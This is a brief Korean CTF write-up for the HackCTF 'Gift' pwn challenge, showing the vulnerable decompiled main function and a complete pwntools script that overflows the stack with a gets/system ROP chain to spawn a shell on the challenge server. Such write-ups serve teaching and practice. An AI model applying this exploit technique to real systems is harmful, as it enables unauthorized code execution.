Hackctf Gift Writeup

LeeDoHyun · February 16, 2020

32비트 간단한 문제입니다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+0h] [ebp-84h]

  alarm(60u);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stderr, 0, 2, 0);
  printf("Hey guyssssssssss here you are: %p %p\n", &binsh, &system);
  fgets(&s, 128, stdin);
  printf(&s);
  gets(&s);
  return 0;
}

메인함수 소스는 이렇게 되어있습니다. 이 프로그램을 실행하면 binsh 주소와 system주소를 던져줍니다. 이것을 활용해서 문제를 풀어주면 됩니다.

ex.py

from pwn import *

#context.log_level = "debug"
IP = "ctf.j0n9hyun.xyz"
PORT = "3018"
r = remote(IP, PORT)
#r = process("./gift")
e = ELF("./gift")

gets_plt = e.plt["gets"]
popret = 0x80483ad

r.recvuntil("Hey guyssssssssss here you are: ")
binsh = int(r.recv(10), 16)
system = int(r.recv(10), 16)

info("binsh address = " + hex(binsh))
info("system address = " + hex(system))

r.sendline("Hello, World!")

payload = "A"*(0x84 + 0x4)
payload += p32(gets_plt) + p32(popret) + p32(binsh)
payload += p32(system) + "aaaa" + p32(binsh)

r.sendline(payload)
r.sendline("/bin/sh\x00")
r.interactive()

Twitter, Facebook